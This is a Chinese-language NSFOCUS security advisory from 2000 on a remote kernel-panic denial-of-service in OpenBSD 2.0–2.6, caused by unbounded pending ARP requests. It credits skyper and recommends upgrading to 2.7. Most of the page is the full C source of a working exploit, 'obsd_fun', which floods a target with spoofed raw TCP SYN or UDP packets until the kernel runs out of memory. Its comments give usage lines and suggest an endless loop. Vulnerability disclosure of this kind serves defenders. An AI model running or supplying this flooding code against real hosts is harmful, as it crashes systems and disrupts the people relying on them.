首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第14期->最新漏洞
期刊号: 类型: 关键词:
OpenBSD未决的ARP请求导致远程拒绝服务

日期:2000-10-07

受影响的系统:  
OpenBSD OpenBSD 2.6
OpenBSD OpenBSD 2.5
OpenBSD OpenBSD 2.4
OpenBSD OpenBSD 2.3
OpenBSD OpenBSD 2.2
OpenBSD OpenBSD 2.1
OpenBSD OpenBSD 2.0


不受影响系统:  OpenBSD OpenBSD 2.7

描述:
--------------------------------------------------------------------------------


OpenBSD容易受到一个可远程利用的拒绝服务漏洞的影响。问题似乎在于缺少对未决(pending)的APR请求的存储限制,以至无法处理太多的未决APR请求。如果攻击者能以某种方法让受害的机器发送大量APR请求,则会导致内核恐慌(panic),目标系统会死机。
这在某些情况下是可能的。可以按照如下的步骤实施攻击:
如果一台OpenBSD机器存在于一个拥有巨大的地址空间的网络中(比一个C类地址要多出许多),攻击者可以向其发送伪造的包,包的地址为其所在的网络中的主机地址。那么受害的主机将会发出ARP请求以找到每个主机的MAC地址。如果足够数量的ARP请求被送出,则内核产生恐慌(panic),输出如下消息:
"out of space in kmem_map"
并死机。

<* 来源:skyper (skyper@segfault.net) *>

测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


使用如下的程序进行测试:http://www.securityfocus.com/data/vulnerabilities/exploits/obsd_fun.c

/*
* [local/remote] kernel-panic DoS against openBSD 2.6
* 20000802, anonymous@segfault.net
*
* works on local lan or any host which can be reached through
* gateways with rp_filter = 0 [default on most linux routers and most other
* OS'es. take a look at /proc/sys/net/ipv4/conf/default/rp_filter].
*
* panic: malloc: out of space in kmem_map,
* Stopped at: _debugger+0x4:   ieave
*
* this is nothing special. The kernel runs out of memory
* and panics.
*
* ./obsd_fun <target ip> <network> <count>
* target_ip is the ...wtf..you know what it is.
* network is the beginning of the network of the target_ip.
* count is the number of hosts we spoof from.
*
* How does it work ?:
* While coding some scanning tool i saw that linux was unable
* to handle 1000 arp-request/sec [arp-table overflow].
* I thought obsd could be able to handle 1k arp-request/sec..but
* i was wrong.
*
* First DoS was a local one. All I did was sent
* packets to thousend of hosts on the same network.
* [it doesnt matter if the hosts exist or not]
* The Obsd kernel paniced after a few seconds.
* I leave it as an exercise for the reader to reengineer the local DoS.
* [addon after a 'bratwurscht'-break: i took the exercise myself.]
*
* Remote DoS:
* We send thousends of spoofed packets to the target machiene.
* The target machiene tries to answer these packets [with
* a tcp-syn, tcp-rst ,icmp-port-unreachable or whatever].
*
* For that it needs the mac-address of the origin host.
* If this host does not exist the Obsd box will never get
* an answer and w8 for the arp-reply until it timesout.
* Thats it. We simply overflow the arp-table/memory.
*
* I use tcp-packets in this example. It also works with udp or icmp.
*
* How to use it?:
* gcc -Wall -o obsd_fun obsd_fun.c
* If the host-ip is 10.23.13.37 on a 10.23/16 network:
* leetbox:~# ./obsd_fun 10.23.13.37 10.23.0.1 65534
*
* A count of 20.000 works fine here. But my box only has 64 MB ram.
* If this doesnt work try bigger values.
* If this still does not work...try an endless loop:
* while :; do ./obsd_fun 10.23.13.37 10.23.0.1 65534 ; done
* [sound crazy..but it works. I was unable to DoS a obsd 2.6 on
* a /16-network with 128 MB ram and a count of 65334...but after
* 6-loops the box paniced]
*
* Local DoS:
* Works like the remote one. But we use udp this time:
* myfirstobsd:~$ ./obsd_fun 10.23.0.1 32000
* works fine on my 64 MB obsd 2.6 box.
*
*
* Oh..i forgott something:
* Basicly i dont like DoS-attacks or really lame (d)dos attacks.
* It SUCKs. Thats really not what hacking is about.
*
* Greetings: yum. this is a DoS. to lame for greetings.
*
*
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __BSD_SOURCE
#define __BSD_SOURCE
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

#define ETH_SIZE        14
#define IP_SIZE         20
#define TCP_SIZE        20

#define int_ntoa(x)   inet_ntoa(*((struct in_addr *)&(x)))

/*
*  Checksum stuff
*/
#define CKSUM_CARRY(x) \
    (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))

/*
* leet net tuple
*/
struct net_tuple
{
  uint32_t src;
  unsigned short int sport;
  uint32_t dst;
  unsigned short int dport;
};

/*
* pseudo TCP header for calculating the chksum
*/
struct _fakehead {
    uint32_t saddr;
    uint32_t daddr;
    uint8_t  zero;
    uint8_t protocol;
    uint16_t tot_len;
};

unsigned char packet[128];

/*
* calc. checksum WITH carry flag.
* call cksum = CKSUM_CARRY(in_cksum(blah));
*/
int
in_cksum(unsigned short *addr, int len)
{
   int                  nleft = len;
   int                  sum = 0;
   u_short              *w = addr;
   u_short              answer = 0;
   
   while (nleft > 1)
   {
      sum += *w++;
      nleft -= 2;
   }
   
   if (nleft == 1)      /* padding */
   {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
   }
   
  return(sum);
}


void
add_tcphdr(unsigned char *pkt, struct net_tuple *nt, uint8_t flags)
{
   struct tcphdr                tcp;
   struct _fakehead             fakehead;
   int sum;

   memset(&tcp, 0, sizeof(tcp));
   memset(&fakehead, 0, sizeof(fakehead));

   tcp.th_dport = nt->dport;
   tcp.th_sport = nt->sport;
   fakehead.saddr = nt->src;
   fakehead.daddr = nt->dst;
   fakehead.zero = 0,
   fakehead.protocol = 6;
   fakehead.tot_len = htons(TCP_SIZE);
   sum = in_cksum((u_short *)&fakehead, sizeof(fakehead));
   tcp.th_off = TCP_SIZE >> 2;
   tcp.th_seq = 31337;                         /* ###fixme */
   tcp.th_flags |= flags;                      /* ADD the flags */
   tcp.th_win = htons(0x3fff);
   sum += in_cksum((u_short *)&tcp, sizeof(tcp));
   tcp.th_sum = CKSUM_CARRY(sum);
   memcpy(pkt, &tcp, sizeof(tcp));
}



/*
* add's ipv4-header of 20 bytes without any options
* - IPPROTO_TCP and 40 bytes total length
*/
void
add_iphdr(unsigned char *pkt, struct net_tuple *nt)
{
  struct ip                     ip;

  memset(&ip, 0, 20);
  ip.ip_hl = sizeof(ip) >> 2;
  ip.ip_v = 4;
  /*ip->tos = 0;*/
  ip.ip_len = htons(IP_SIZE + TCP_SIZE);  /* htons ? */
  /*ip->id = 0;                  done by kernel */
  /*ip->frag_off = 0;*/
  ip.ip_ttl = 0xff;
  ip.ip_p = IPPROTO_TCP;        
  /*.ip->check = 0;      done by kernel */
  ip.ip_src.s_addr = nt->src;
  ip.ip_dst.s_addr = nt->dst;
  memcpy(pkt, &ip, sizeof(ip));
}


/*
* send out ipv4-packet
* with data 'pkt' of length 'len'
* returns the number of characters sent, or -1 if an error occured
*/
int
send_ipv4(int sox, u_char  *pkt, size_t len)
{
   struct sockaddr_in   to;

   to.sin_family = AF_INET;
   memcpy(&to.sin_addr.s_addr, (pkt + 4*4), sizeof(u_long));

   return(sendto(sox, pkt, len, 0 , (struct sockaddr *)&to, sizeof(to)) );
}

/*
* for a local DoS.
* we use udp this time [much easier, much faster, but only local:)]
*/
void
local_dos(char *argv[])
{
  struct sockaddr_in saddr;
  int c=0;
  int sox;
  int iprunner;

  if( (sox = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  {
     fprintf(stderr, "error creating socket\n");
     exit(1);
  }

  memset(&saddr, 0, sizeof(saddr));
  saddr.sin_family = AF_INET;
  saddr.sin_port = htons(31337);
  iprunner = ntohl(inet_addr(argv[1]));

  while (c++< atoi(argv[2]))
  {
    saddr.sin_addr.s_addr = htonl(iprunner++);
    sendto(sox, NULL, 0, 0, (struct sockaddr *)&saddr, sizeof(saddr));
  }

  printf("not working ?! wtf ! mailme asap anonymous@segfault.net\n");
  exit(0);

}


void
usage(int code)
{
  printf("\n4local  DoS:\n");
  printf("obsd_fun <network> <count>\n");
  printf("    obsd_fun 10.23.0.1 32000\n\n");
  printf("4 remote DoS:\n");
  printf("obsd_fun <target_ip> <network> <count>\n");
  printf("    obsd_fun 10.23.13.37 10.23.0.1 65000\n\n");
  exit(code);
}

int
main(int argc, char *argv[])
{
  struct net_tuple nt;
  int sox;
  int on = 1;
  unsigned long iprunner;
  int c=0;

  if (argc < 3)
     usage(0);
  if (argc == 3)
     local_dos(argv);

  memset(&nt, 0, sizeof(nt));

  if( (sox = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  {
     fprintf(stderr, "error creating socket\n");
     exit(1);
  }
  if (setsockopt(sox, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
  {
     fprintf(stderr, "error setsockopt\n");
     exit(1);
  }

  printf("nuking %s on network %s with %d ip's\n",
                                         argv[1], argv[2], atoi(argv[3]));

  nt.dport = htons(31337);
  nt.sport = htons(31338);
  if ( (nt.dst = inet_addr(argv[1])) == -1)
  {
    fprintf(stderr, "nah. use IP insteat of hostname.\n");
    exit(0);
  }
  iprunner = ntohl(inet_addr(argv[2]));
  memset(packet, 0 , sizeof(packet));

  while (c++< atoi(argv[3]))
  {
    nt.src = htonl(iprunner++);
    add_tcphdr(packet + ETH_SIZE + IP_SIZE, &nt, TH_SYN);
    add_iphdr(packet + ETH_SIZE, &nt);
    send_ipv4(sox, packet + ETH_SIZE, IP_SIZE + TCP_SIZE);
  }

printf("done. Try an endless loop if box is still alive.\n");
return(0);
}




--------------------------------------------------------------------------------
建议:
临时解决办法:

    NSFOCUS建议您尽快升级到OpenBSD 2.7,该版本中已经修正这个漏洞。

厂商补丁:

    暂无。

版权所有,未经许可,不得转载